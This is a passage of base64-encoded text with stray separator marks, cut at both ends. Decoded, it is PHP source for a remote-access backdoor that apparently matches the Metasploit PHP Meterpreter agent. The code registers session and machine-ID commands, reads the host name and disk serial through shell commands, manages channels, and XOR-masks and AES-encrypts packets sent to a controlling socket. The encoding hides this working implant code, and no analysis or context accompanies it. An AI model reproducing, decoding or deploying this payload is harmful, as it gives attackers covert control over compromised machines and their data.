KTsgJGVuYyA9ICcnOyBvcGVuc3NsX3B1YmxpY19lbmNyeXB0KCRHTE9CQUxTWydBRVNfS0VZJ10s
|
||||
ICRlbmMsICRrZXksIE9QRU5TU0xfUEtDUzFfUEFERElORyk7IHBhY2tldF9hZGRfdGx2KCRwa3Qs
|
||||
IGNyZWF0ZV90bHYoVExWX1RZUEVfRU5DX1NZTV9LRVksICRlbmMpKTsgcmV0dXJuIEVSUk9SX1NV
|
||||
Q0NFU1M7IH0gfSBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX1NZTV9L
|
||||
RVksICRHTE9CQUxTWydBRVNfS0VZJ10pKTsgfSByZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IGlm
|
||||
ICghZnVuY3Rpb25fZXhpc3RzKCdjb3JlX2dldF9zZXNzaW9uX2d1aWQnKSkgeyByZWdpc3Rlcl9j
|
||||
b21tYW5kKCdjb3JlX2dldF9zZXNzaW9uX2d1aWQnLCBDT01NQU5EX0lEX0NPUkVfR0VUX1NFU1NJ
|
||||
T05fR1VJRCk7IGZ1bmN0aW9uIGNvcmVfZ2V0X3Nlc3Npb25fZ3VpZCgkcmVxLCAmJHBrdCkgeyBw
|
||||
YWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX1NFU1NJT05fR1VJRCwgJEdM
|
||||
T0JBTFNbJ1NFU1NJT05fR1VJRCddKSk7IHJldHVybiBFUlJPUl9TVUNDRVNTOyB9IH0gaWYgKCFm
|
||||
dW5jdGlvbl9leGlzdHMoJ2NvcmVfc2V0X3Nlc3Npb25fZ3VpZCcpKSB7IHJlZ2lzdGVyX2NvbW1h
|
||||
bmQoJ2NvcmVfc2V0X3Nlc3Npb25fZ3VpZCcsIENPTU1BTkRfSURfQ09SRV9TRVRfU0VTU0lPTl9H
|
||||
VUlEKTsgZnVuY3Rpb24gY29yZV9zZXRfc2Vzc2lvbl9ndWlkKCRyZXEsICYkcGt0KSB7IG15X3By
|
||||
aW50KCJkb2luZyBjb3JlX3NldF9zZXNzaW9uX2d1aWQiKTsgJG5ld19ndWlkID0gcGFja2V0X2dl
|
||||
dF90bHYoJHJlcSwgVExWX1RZUEVfU0VTU0lPTl9HVUlEKTsgaWYgKCRuZXdfZ3VpZCAhPSBudWxs
|
||||
KSB7ICRHTE9CQUxTWydTRVNTSU9OX0lEJ10gPSAkbmV3X2d1aWRbJ3ZhbHVlJ107IG15X3ByaW50
|
||||
KCJOZXcgU2Vzc2lvbiBHVUlEIGlzIHskR0xPQkFMU1snU0VTU0lPTl9HVUlEJ119Iik7IH0gcmV0
|
||||
dXJuIEVSUk9SX1NVQ0NFU1M7IH0gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9tYWNoaW5l
|
||||
X2lkJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgnY29yZV9tYWNoaW5lX2lkJywgQ09NTUFORF9JRF9D
|
||||
T1JFX01BQ0hJTkVfSUQpOyBmdW5jdGlvbiBjb3JlX21hY2hpbmVfaWQoJHJlcSwgJiRwa3QpIHsg
|
||||
bXlfcHJpbnQoImRvaW5nIGNvcmVfbWFjaGluZV9pZCIpOyBpZiAoaXNfY2FsbGFibGUoJ2dldGhv
|
||||
c3RuYW1lJykpIHsgJG1hY2hpbmVfaWQgPSBnZXRob3N0bmFtZSgpOyB9IGVsc2UgeyAkbWFjaGlu
|
||||
ZV9pZCA9IHBocF91bmFtZSgnbicpOyB9ICRzZXJpYWwgPSAiIjsgaWYgKGlzX3dpbmRvd3MoKSkg
|
||||
eyAkb3V0cHV0ID0gc3RydG9sb3dlcihzaGVsbF9leGVjKCJ2b2wgJVNZU1RFTURSSVZFJSIpKTsg
|
||||
JHNlcmlhbCA9IHByZWdfcmVwbGFjZSgnLy4qc2VyaWFsIG51bWJlciBpcyAoW2EtejAtOV17NH0t
|
||||
W2EtejAtOV17NH0pLiovcycsICckMScsICRvdXRwdXQpOyB9IGVsc2UgeyAkc2VyaWFsID0gZ2V0
|
||||
X2hkZF9sYWJlbCgpOyB9IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVf
|
||||
TUFDSElORV9JRCwgJHNlcmlhbC4iOiIuJG1hY2hpbmVfaWQpKTsgcmV0dXJuIEVSUk9SX1NVQ0NF
|
||||
U1M7IH0gfSAkY2hhbm5lbHMgPSBhcnJheSgpOyBmdW5jdGlvbiByZWdpc3Rlcl9jaGFubmVsKCRp
|
||||
biwgJG91dD1udWxsLCAkZXJyPW51bGwpIHsgZ2xvYmFsICRjaGFubmVsczsgaWYgKCRvdXQgPT0g
|
||||
bnVsbCkgeyAkb3V0ID0gJGluOyB9IGlmICgkZXJyID09IG51bGwpIHsgJGVyciA9ICRvdXQ7IH0g
|
||||
JGNoYW5uZWxzW10gPSBhcnJheSgwID0+ICRpbiwgMSA9PiAkb3V0LCAyID0+ICRlcnIsICd0eXBl
|
||||
JyA9PiBnZXRfcnR5cGUoJGluKSwgJ2RhdGEnID0+ICcnKTsgJGlkID0gZW5kKGFycmF5X2tleXMo
|
||||
JGNoYW5uZWxzKSk7IG15X3ByaW50KCJDcmVhdGVkIG5ldyBjaGFubmVsICRpbiwgd2l0aCBpZCAk
|
||||
aWQiKTsgcmV0dXJuICRpZDsgfSBmdW5jdGlvbiBnZXRfY2hhbm5lbF9pZF9mcm9tX3Jlc291cmNl
|
||||
KCRyZXNvdXJjZSkgeyBnbG9iYWwgJGNoYW5uZWxzOyBpZiAoZW1wdHkoJGNoYW5uZWxzKSkgeyBy
|
||||
ZXR1cm4gZmFsc2U7IH0gZm9yZWFjaCAoJGNoYW5uZWxzIGFzICRpID0+ICRjaGFuX2FyeSkgeyBp
|
||||
ZiAoaW5fYXJyYXkoJHJlc291cmNlLCAkY2hhbl9hcnkpKSB7IG15X3ByaW50KCJGb3VuZCBjaGFu
|
||||
bmVsIGlkICRpIik7IHJldHVybiAkaTsgfSB9IHJldHVybiBmYWxzZTsgfSBmdW5jdGlvbiAmZ2V0
|
||||
X2NoYW5uZWxfYnlfaWQoJGNoYW5faWQpIHsgZ2xvYmFsICRjaGFubmVsczsgbXlfcHJpbnQoIkxv
|
||||
b2tpbmcgdXAgY2hhbm5lbCBpZCAkY2hhbl9pZCIpOyBpZiAoYXJyYXlfa2V5X2V4aXN0cygkY2hh
|
||||
bl9pZCwgJGNoYW5uZWxzKSkgeyBteV9wcmludCgiRm91bmQgb25lIik7IHJldHVybiAkY2hhbm5l
|
||||
bHNbJGNoYW5faWRdOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0gfSBmdW5jdGlvbiBjaGFubmVs
|
||||
X3dyaXRlKCRjaGFuX2lkLCAkZGF0YSkgeyAkYyA9IGdldF9jaGFubmVsX2J5X2lkKCRjaGFuX2lk
|
||||
KTsgaWYgKCRjICYmIGlzX3Jlc291cmNlKCRjWzBdKSkgeyBteV9wcmludCgiLS0tV3JpdGluZyAn
|
||||
JGRhdGEnIHRvIGNoYW5uZWwgJGNoYW5faWQiKTsgcmV0dXJuIHdyaXRlKCRjWzBdLCAkZGF0YSk7
|
||||
IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IGZ1bmN0aW9uIGNoYW5uZWxfcmVhZCgkY2hhbl9p
|
||||
ZCwgJGxlbikgeyAkYyA9ICZnZXRfY2hhbm5lbF9ieV9pZCgkY2hhbl9pZCk7IGlmICgkYykgeyAk
|
||||
cmV0ID0gc3Vic3RyKCRjWydkYXRhJ10sIDAsICRsZW4pOyAkY1snZGF0YSddID0gc3Vic3RyKCRj
|
||||
WydkYXRhJ10sICRsZW4pOyBpZiAoc3RybGVuKCRyZXQpID4gMCkgeyBteV9wcmludCgiSGFkIHNv
|
||||
bWUgbGVmdG92ZXJzOiAnJHJldCciKTsgfSBpZiAoc3RybGVuKCRyZXQpIDwgJGxlbiBhbmQgaXNf
|
||||
cmVzb3VyY2UoJGNbMl0pIGFuZCAkY1sxXSAhPSAkY1syXSkgeyAkcmVhZCA9IHJlYWQoJGNbMl0p
|
||||
OyAkY1snZGF0YSddIC49ICRyZWFkOyAkYnl0ZXNfbmVlZGVkID0gJGxlbiAtIHN0cmxlbigkcmV0
|
||||
KTsgJHJldCAuPSBzdWJzdHIoJGNbJ2RhdGEnXSwgMCwgJGJ5dGVzX25lZWRlZCk7ICRjWydkYXRh
|
||||
J10gPSBzdWJzdHIoJGNbJ2RhdGEnXSwgJGJ5dGVzX25lZWRlZCk7IH0gaWYgKHN0cmxlbigkcmV0
|
||||
KSA8ICRsZW4gYW5kIGlzX3Jlc291cmNlKCRjWzFdKSkgeyAkcmVhZCA9IHJlYWQoJGNbMV0pOyAk
|
||||
Y1snZGF0YSddIC49ICRyZWFkOyAkYnl0ZXNfbmVlZGVkID0gJGxlbiAtIHN0cmxlbigkcmV0KTsg
|
||||
JHJldCAuPSBzdWJzdHIoJGNbJ2RhdGEnXSwgMCwgJGJ5dGVzX25lZWRlZCk7ICRjWydkYXRhJ10g
|
||||
PSBzdWJzdHIoJGNbJ2RhdGEnXSwgJGJ5dGVzX25lZWRlZCk7IH0gaWYgKGZhbHNlID09PSAkcmVh
|
||||
ZCBhbmQgZW1wdHkoJHJldCkpIHsgaWYgKGludGVyYWN0aW5nKCRjaGFuX2lkKSkgeyBoYW5kbGVf
|
||||
ZGVhZF9yZXNvdXJjZV9jaGFubmVsKCRjWzFdKTsgfSByZXR1cm4gZmFsc2U7IH0gcmV0dXJuICRy
|
||||
ZXQ7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IGZ1bmN0aW9uIHJhbmRfeG9yX2J5dGUoKSB7
|
||||
IHJldHVybiBjaHIobXRfcmFuZCgxLCAyNTUpKTsgfSBmdW5jdGlvbiByYW5kX2J5dGVzKCRzaXpl
|
||||
KSB7ICRiID0gJyc7IGZvciAoJGkgPSAwOyAkaSA8ICRzaXplOyAkaSsrKSB7ICRiIC49IHJhbmRf
|
||||
eG9yX2J5dGUoKTsgfSByZXR1cm4gJGI7IH0gZnVuY3Rpb24gcmFuZF94b3Jfa2V5KCkgeyByZXR1
|
||||
cm4gcmFuZF9ieXRlcyg0KTsgfSBmdW5jdGlvbiB4b3JfYnl0ZXMoJGtleSwgJGRhdGEpIHsgJHJl
|
||||
c3VsdCA9ICcnOyBmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJGRhdGEpOyArKyRpKSB7ICRyZXN1
|
||||
bHQgLj0gJGRhdGFbJGldIF4gJGtleVskaSAlIDRdOyB9IHJldHVybiAkcmVzdWx0OyB9IGZ1bmN0
|
||||
aW9uIGdlbmVyYXRlX3JlcV9pZCgpIHsgJGNoYXJhY3RlcnMgPSAnYWJjZGVmZ2hpamtsbW5vcHFy
|
||||
c3R1dnd4eXonOyAkcmlkID0gJyc7IGZvciAoJHAgPSAwOyAkcCA8IDMyOyAkcCsrKSB7ICRyaWQg
|
||||
Lj0gJGNoYXJhY3RlcnNbcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpLTEpXTsgfSByZXR1cm4g
|
||||
JHJpZDsgfSBmdW5jdGlvbiBzdXBwb3J0c19hZXMoKSB7IHJldHVybiBmdW5jdGlvbl9leGlzdHMo
|
||||
J29wZW5zc2xfZGVjcnlwdCcpICYmIGZ1bmN0aW9uX2V4aXN0cygnb3BlbnNzbF9lbmNyeXB0Jyk7
|
||||
IH0gZnVuY3Rpb24gZGVjcnlwdF9wYWNrZXQoJHJhdykgeyAkbGVuX2FycmF5ID0gdW5wYWNrKCJO
|
||||
bGVuIiwgc3Vic3RyKCRyYXcsIDIwLCA0KSk7ICRlbmNyeXB0X2ZsYWdzID0gJGxlbl9hcnJheVsn
|
||||
bGVuJ107IGlmICgkZW5jcnlwdF9mbGFncyA9PSBFTkNfQUVTMjU2ICYmIHN1cHBvcnRzX2Flcygp
|
||||
ICYmICRHTE9CQUxTWydBRVNfS0VZJ10gIT0gbnVsbCkgeyAkdGx2ID0gc3Vic3RyKCRyYXcsIDI0
|
||||
KTsgJGRlYyA9IG9wZW5zc2xfZGVjcnlwdChzdWJzdHIoJHRsdiwgMjQpLCBBRVNfMjU2X0NCQywg
|
||||
JEdMT0JBTFNbJ0FFU19LRVknXSwgT1BFTlNTTF9SQVdfREFUQSwgc3Vic3RyKCR0bHYsIDgsIDE2
|
||||
KSk7IHJldHVybiBwYWNrKCJOIiwgc3RybGVuKCRkZWMpICsgOCkgLiBzdWJzdHIoJHRsdiwgNCwg
|
||||
NCkgLiAkZGVjOyB9IHJldHVybiBzdWJzdHIoJHJhdywgMjQpOyB9IGZ1bmN0aW9uIGVuY3J5cHRf
|
||||
cGFja2V0KCRyYXcpIHsgaWYgKHN1cHBvcnRzX2FlcygpICYmICRHTE9CQUxTWydBRVNfS0VZJ10g
|
||||
IT0gbnVsbCkgeyBpZiAoJEdMT0JBTFNbJ0FFU19FTkFCTEVEJ10gPT09IHRydWUpIHsgJGl2ID0g
|
||||
cmFuZF9ieXRlcygxNik7ICRlbmMgPSAkaXYgLiBvcGVuc3NsX2VuY3J5cHQoc3Vic3RyKCRyYXcs
|
||||
IDgpLCBBRVNfMjU2X0NCQywgJEdMT0JBTFNbJ0FFU19LRVknXSwgT1BFTlNTTF9SQVdfREFUQSwg
|
||||
JGl2KTsgJGhkciA9IHBhY2soIk4iLCBzdHJsZW4oJGVuYykgKyA4KSAuIHN1YnN0cigkcmF3LCA0
|
||||
LCA0KTsgcmV0dXJuICRHTE9CQUxTWydTRVNTSU9OX0dVSUQnXSAuIHBhY2soIk4iLCBFTkNfQUVT
|
||||
MjU2KSAuICRoZHIgLiAkZW5jOyB9ICRHTE9CQUxTWydBRVNfRU5BQkxFRCddID0gdHJ1ZTsgfSBy
|
||||
ZXR1cm4gJEdMT0JBTFNbJ1NFU1NJT05fR1VJRCddIC4gcGFjaygiTiIsIEVOQ19OT05FKSAuICRy
|
||||
YXc7IH0gZnVuY3Rpb24gd3JpdGVfdGx2X3RvX3NvY2tldCgkcmVzb3VyY2UsICRyYXcpIHsgJHhv
|
||||
ciA9IHJhbmRfeG9yX2tleSgpOyB3cml0ZSgkcmVzb3VyY2UsICR4b3IgLiB4b3JfYnl0ZXMoJHhv
|
||||
ciwgZW5jcnlwdF9wYWNrZXQoJHJhdykpKTsgfSBmdW5jdGlvbiBoYW5kbGVfZGVhZF9yZXNvdXJj
|
||||
ZV9jaGFubmVsKCRyZXNvdXJjZSkgeyBnbG9iYWwgJG1zZ3NvY2s7IGlmICghaXNfcmVzb3VyY2Uo
|
||||
JHJlc291cmNlKSkgeyByZXR1cm47IH0gJGNpZCA9IGdldF9jaGFubmVsX2lkX2Zyb21fcmVzb3Vy
|
||||
Y2UoJHJlc291cmNlKTsgaWYgKCRjaWQgPT09IGZhbHNlKSB7IG15X3ByaW50KCJSZXNvdXJjZSBo
|
||||
YXMgbm8gY2hhbm5lbDogeyRyZXNvdXJjZX0iKTsgcmVtb3ZlX3JlYWRlcigkcmVzb3VyY2UpOyBj
|
||||
bG9zZSgkcmVzb3VyY2UpOyB9IGVsc2UgeyBteV9wcmludCgiSGFuZGxpbmcgZGVhZCByZXNvdXJj
|
||||
ZTogeyRyZXNvdXJjZX0sIGZvciBjaGFubmVsOiB7JGNpZH0iKTsgY2hhbm5lbF9jbG9zZV9oYW5k
|
||||
bGVzKCRjaWQpOyAkcGt0ID0gcGFjaygiTiIsIFBBQ0tFVF9UWVBFX1JFUVVFU1QpOyBwYWNrZXRf
|
||||
YWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX0NPTU1BTkRfSUQsIENPTU1BTkRfSURf
|
||||
Q09SRV9DSEFOTkVMX0NMT1NFKSk7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExW
|
||||
X1RZUEVfUkVRVUVTVF9JRCwgZ2VuZXJhdGVfcmVxX2lkKCkpKTsgcGFja2V0X2FkZF90bHYoJHBr
|
||||
dCwgY3JlYXRlX3RsdihUTFZfVFlQRV9DSEFOTkVMX0lELCAkY2lkKSk7IHBhY2tldF9hZGRfdGx2
|
||||
KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfVVVJRCwgJEdMT0JBTFNbJ1VVSUQnXSkpOyAkcGt0
|
||||
ID0gcGFjaygiTiIsIHN0cmxlbigkcGt0KSArIDQpIC4gJHBrdDsgd3JpdGVfdGx2X3RvX3NvY2tl
|
||||
dCgkbXNnc29jaywgJHBrdCk7IH0gfSBmdW5jdGlvbiBoYW5kbGVfcmVzb3VyY2VfcmVhZF9jaGFu
|
||||
bmVsKCRyZXNvdXJjZSwgJGRhdGEpIHsgZ2xvYmFsICR1ZHBfaG9zdF9tYXA7ICRjaWQgPSBnZXRf
|
||||
Y2hhbm5lbF9pZF9mcm9tX3Jlc291cmNlKCRyZXNvdXJjZSk7IG15X3ByaW50KCJIYW5kbGluZyBk
|
||||
YXRhIGZyb20gJHJlc291cmNlIik7ICRwa3QgPSBwYWNrKCJOIiwgUEFDS0VUX1RZUEVfUkVRVUVT
|
||||
VCk7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfQ09NTUFORF9JRCwg
|
||||
Q09NTUFORF9JRF9DT1JFX0NIQU5ORUxfV1JJVEUpKTsgaWYgKGFycmF5X2tleV9leGlzdHMoKGlu
|
||||
dCkkcmVzb3VyY2UsICR1ZHBfaG9zdF9tYXApKSB7IGxpc3QoJGgsJHApID0gJHVkcF9ob3N0X21h
|
||||
cFsoaW50KSRyZXNvdXJjZV07IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZ
|
||||
UEVfUEVFUl9IT1NULCAkaCkpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9U
|
||||
WVBFX1BFRVJfUE9SVCwgJHApKTsgfSBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRM
|
||||
Vl9UWVBFX0NIQU5ORUxfSUQsICRjaWQpKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3Rs
|
||||
dihUTFZfVFlQRV9DSEFOTkVMX0RBVEEsICRkYXRhKSk7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNy
|
||||
ZWF0ZV90bHYoVExWX1RZUEVfTEVOR1RILCBzdHJsZW4oJGRhdGEpKSk7IHBhY2tldF9hZGRfdGx2
|
||||
KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfUkVRVUVTVF9JRCwgZ2VuZXJhdGVfcmVxX2lkKCkp
|
||||
KTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9VVUlELCAkR0xPQkFM
|
||||
U1snVVVJRCddKSk7ICRwa3QgPSBwYWNrKCJOIiwgc3RybGVuKCRwa3QpICsgNCkgLiAkcGt0OyBy
|
||||
ZXR1cm4gJHBrdDsgfSBmdW5jdGlvbiBjcmVhdGVfcmVzcG9uc2UoJHJlcSkgeyBnbG9iYWwgJGlk
|
||||
MmY7ICRwa3QgPSBwYWNrKCJOIiwgUEFDS0VUX1RZUEVfUkVTUE9OU0UpOyAkY29tbWFuZF9pZF90
|
||||
bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9DT01NQU5EX0lEKTsgbXlfcHJpbnQo
|
||||
ImNvbW1hbmQgaWQgaXMgeyRjb21tYW5kX2lkX3RsdlsndmFsdWUnXX0iKTsgcGFja2V0X2FkZF90
|
||||
bHYoJHBrdCwgJGNvbW1hbmRfaWRfdGx2KTsgJHJlcWlkX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRy
|
||||
ZXEsIFRMVl9UWVBFX1JFUVVFU1RfSUQpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCAkcmVxaWRfdGx2
|
||||
KTsgJGNvbW1hbmRfaGFuZGxlciA9ICRpZDJmWyRjb21tYW5kX2lkX3RsdlsndmFsdWUnXV07IGlm
|
||||
IChpc19jYWxsYWJsZSgkY29tbWFuZF9oYW5kbGVyKSkgeyAkcmVzdWx0ID0gJGNvbW1hbmRfaGFu
|
||||
ZGxlcigkcmVxLCAkcGt0KTsgfSBlbHNlIHsgbXlfcHJpbnQoIkdvdCBhIHJlcXVlc3QgZm9yIHNv
|
||||
bWV0aGluZyBJIGRvbid0IGtub3cgaG93IHRvIGhhbmRsZSAoIiAuICRjb21tYW5kX2lkX3Rsdlsn
|
||||
dmFsdWUnXSAuICIgLyAiLiAkY29tbWFuZF9oYW5kbGVyIC4iKSwgcmV0dXJuaW5nIGZhaWx1cmUi
|
||||
KTsgJHJlc3VsdCA9IEVSUk9SX0ZBSUxVUkU7IH0gcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRl
|
||||
X3RsdihUTFZfVFlQRV9SRVNVTFQsICRyZXN1bHQpKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3Jl
|
||||
YXRlX3RsdihUTFZfVFlQRV9VVUlELCAkR0xPQkFMU1snVVVJRCddKSk7ICRwa3QgPSBwYWNrKCJO
|
||||
Iiwgc3RybGVuKCRwa3QpICsgNCkgLiAkcGt0OyByZXR1cm4gJHBrdDsgfSBmdW5jdGlvbiBjcmVh
|
||||
dGVfdGx2KCR0eXBlLCAkdmFsKSB7IHJldHVybiBhcnJheSggJ3R5cGUnID0+ICR0eXBlLCAndmFs
|
||||
dWUnID0+ICR2YWwgKTsgfSBmdW5jdGlvbiB0bHZfcGFjaygkdGx2KSB7ICRyZXQgPSAiIjsgaWYg
|
||||
KCgkdGx2Wyd0eXBlJ10gJiBUTFZfTUVUQV9UWVBFX1NUUklORykgPT0gVExWX01FVEFfVFlQRV9T
|
||||
VFJJTkcpIHsgJHJldCA9IHBhY2soIk5OYSoiLCA4ICsgc3RybGVuKCR0bHZbJ3ZhbHVlJ10pKzEs
|
||||
ICR0bHZbJ3R5cGUnXSwgJHRsdlsndmFsdWUnXSAuICJcMCIpOyB9IGVsc2VpZiAoKCR0bHZbJ3R5
|
||||
cGUnXSAmIFRMVl9NRVRBX1RZUEVfUVdPUkQpID09IFRMVl9NRVRBX1RZUEVfUVdPUkQpIHsgJGhp
|
||||
ID0gKCR0bHZbJ3ZhbHVlJ10gPj4gMzIpICYgMHhGRkZGRkZGRjsgJGxvID0gJHRsdlsndmFsdWUn
|
||||
XSAmIDB4RkZGRkZGRkY7ICRyZXQgPSBwYWNrKCJOTk5OIiwgOCArIDgsICR0bHZbJ3R5cGUnXSwg
|
||||
JGhpLCAkbG8pOyB9IGVsc2VpZiAoKCR0bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfVUlOVCkg
|
||||
PT0gVExWX01FVEFfVFlQRV9VSU5UKSB7ICRyZXQgPSBwYWNrKCJOTk4iLCA4ICsgNCwgJHRsdlsn
|
||||
dHlwZSddLCAkdGx2Wyd2YWx1ZSddKTsgfSBlbHNlaWYgKCgkdGx2Wyd0eXBlJ10gJiBUTFZfTUVU
|
||||
QV9UWVBFX0JPT0wpID09IFRMVl9NRVRBX1RZUEVfQk9PTCkgeyAkcmV0ID0gcGFjaygiTk4iLCA4
|
||||
ICsgMSwgJHRsdlsndHlwZSddKTsgJHJldCAuPSAkdGx2Wyd2YWx1ZSddID8gIlx4MDEiIDogIlx4
|
||||
MDAiOyB9IGVsc2VpZiAoKCR0bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfUkFXKSA9PSBUTFZf
|
||||
TUVUQV9UWVBFX1JBVykgeyAkcmV0ID0gcGFjaygiTk4iLCA4ICsgc3RybGVuKCR0bHZbJ3ZhbHVl
|
||||
J10pLCAkdGx2Wyd0eXBlJ10pIC4gJHRsdlsndmFsdWUnXTsgfSBlbHNlaWYgKCgkdGx2Wyd0eXBl
|
||||
J10gJiBUTFZfTUVUQV9UWVBFX0dST1VQKSA9PSBUTFZfTUVUQV9UWVBFX0dST1VQKSB7ICRyZXQg
|
||||
PSBwYWNrKCJOTiIsIDggKyBzdHJsZW4oJHRsdlsndmFsdWUnXSksICR0bHZbJ3R5cGUnXSkgLiAk
|
||||
dGx2Wyd2YWx1ZSddOyB9IGVsc2VpZiAoKCR0bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfQ09N
|
||||
UExFWCkgPT0gVExWX01FVEFfVFlQRV9DT01QTEVYKSB7ICRyZXQgPSBwYWNrKCJOTiIsIDggKyBz
|
||||
dHJsZW4oJHRsdlsndmFsdWUnXSksICR0bHZbJ3R5cGUnXSkgLiAkdGx2Wyd2YWx1ZSddOyB9IGVs
|
||||
c2UgeyBteV9wcmludCgiRG9uJ3Qga25vdyBob3cgdG8gbWFrZSBhIHRsdiBvZiB0eXBlICIuICR0
|
||||
bHZbJ3R5cGUnXSAuICIgKG1ldGEgdHlwZSAiLiBzcHJpbnRmKCIlMDh4IiwgJHRsdlsndHlwZSdd
|
||||
ICYgVExWX01FVEFfVFlQRV9NQVNLKSAuIiksIHd0ZiIpOyB9IHJldHVybiAkcmV0OyB9IGZ1bmN0
|
||||
aW9uIHRsdl91bnBhY2soJHJhd190bHYpIHsgJHRsdiA9IHVucGFjaygiTmxlbi9OdHlwZSIsIHN1
|
||||
YnN0cigkcmF3X3RsdiwgMCwgOCkpOyAkdHlwZSA9ICR0bHZbJ3R5cGUnXTsgbXlfcHJpbnQoImxl
|
||||
bjogeyR0bHZbJ2xlbiddfSwgdHlwZTogeyR0bHZbJ3R5cGUnXX0iKTsgaWYgKCgkdHlwZSAmIFRM
|
||||
Vl9NRVRBX1RZUEVfU1RSSU5HKSA9PSBUTFZfTUVUQV9UWVBFX1NUUklORykgeyAkdGx2ID0gdW5w
|
||||
YWNrKCJObGVuL050eXBlL2EqdmFsdWUiLCBzdWJzdHIoJHJhd190bHYsIDAsICR0bHZbJ2xlbidd
|
||||
KSk7ICR0bHZbJ3ZhbHVlJ10gPSBzdHJfcmVwbGFjZSgiXDAiLCAiIiwgJHRsdlsndmFsdWUnXSk7
|
||||
IH0gZWxzZWlmICgoJHR5cGUgJiBUTFZfTUVUQV9UWVBFX1VJTlQpID09IFRMVl9NRVRBX1RZUEVf
|
||||
VUlOVCkgeyAkdGx2ID0gdW5wYWNrKCJObGVuL050eXBlL052YWx1ZSIsIHN1YnN0cigkcmF3X3Rs
|
||||
diwgMCwgJHRsdlsnbGVuJ10pKTsgfSBlbHNlaWYgKCgkdHlwZSAmIFRMVl9NRVRBX1RZUEVfUVdP
|
||||
UkQpID09IFRMVl9NRVRBX1RZUEVfUVdPUkQpIHsgJHRsdiA9IHVucGFjaygiTmxlbi9OdHlwZS9O
|
||||
aGkvTmxvIiwgc3Vic3RyKCRyYXdfdGx2LCAwLCAkdGx2WydsZW4nXSkpOyAkdGx2Wyd2YWx1ZSdd
|
||||
ID0gJHRsdlsnaGknXSA8PCAzMiB8ICR0bHZbJ2xvJ107IH0gZWxzZWlmICgoJHR5cGUgJiBUTFZf
|
||||
TUVUQV9UWVBFX0JPT0wpID09IFRMVl9NRVRBX1RZUEVfQk9PTCkgeyAkdGx2ID0gdW5wYWNrKCJO
|
||||
bGVuL050eXBlL2N2YWx1ZSIsIHN1YnN0cigkcmF3X3RsdiwgMCwgJHRsdlsnbGVuJ10pKTsgfSBl
|
||||
bHNlaWYgKCgkdHlwZSAmIFRMVl9NRVRBX1RZUEVfUkFXKSA9PSBUTFZfTUVUQV9UWVBFX1JBVykg
|
||||
eyAkdGx2ID0gdW5wYWNrKCJObGVuL050eXBlIiwgJHJhd190bHYpOyAkdGx2Wyd2YWx1ZSddID0g
|
||||
c3Vic3RyKCRyYXdfdGx2LCA4LCAkdGx2WydsZW4nXS04KTsgfSBlbHNlIHsgbXlfcHJpbnQoIld0
|
||||
ZiB0eXBlIGlzIHRoaXM/ICR0eXBlIik7ICR0bHYgPSBudWxsOyB9IHJldHVybiAkdGx2OyB9IGZ1
|
||||
bmN0aW9uIHBhY2tldF9hZGRfdGx2KCYkcGt0LCAkdGx2KSB7ICRwa3QgLj0gdGx2X3BhY2soJHRs
|
||||
dik7IH0gZnVuY3Rpb24gcGFja2V0X2dldF90bHYoJHBrdCwgJHR5cGUpIHsgJG9mZnNldCA9IDg7
|
||||
IHdoaWxlICgkb2Zmc2V0IDwgc3RybGVuKCRwa3QpKSB7ICR0bHYgPSB0bHZfdW5wYWNrKHN1YnN0
|
||||
cigkcGt0LCAkb2Zmc2V0KSk7IGlmICgkdHlwZSA9PSAoJHRsdlsndHlwZSddICYgflRMVl9NRVRB
|
||||
X1RZUEVfQ09NUFJFU1NFRCkpIHsgcmV0dXJuICR0bHY7IH0gJG9mZnNldCArPSAkdGx2WydsZW4n
|
||||
XTsgfSByZXR1cm4gbnVsbDsgfSBmdW5jdGlvbiBwYWNrZXRfZ2V0X2FsbF90bHZzKCRwa3QsICR0
|
||||
eXBlKSB7IG15X3ByaW50KCJMb29raW5nIGZvciBhbGwgdGx2cyBvZiB0eXBlICR0eXBlIik7ICRv
|
||||
ZmZzZXQgPSA4OyAkYWxsID0gYXJyYXkoKTsgd2hpbGUgKCRvZmZzZXQgPCBzdHJsZW4oJHBrdCkp
|
||||
IHsgJHRsdiA9IHRsdl91bnBhY2soc3Vic3RyKCRwa3QsICRvZmZzZXQpKTsgaWYgKCR0bHYgPT0g
|
||||
TlVMTCkgeyBicmVhazsgfSBteV9wcmludCgibGVuOiB7JHRsdlsnbGVuJ119LCB0eXBlOiB7JHRs
|
||||
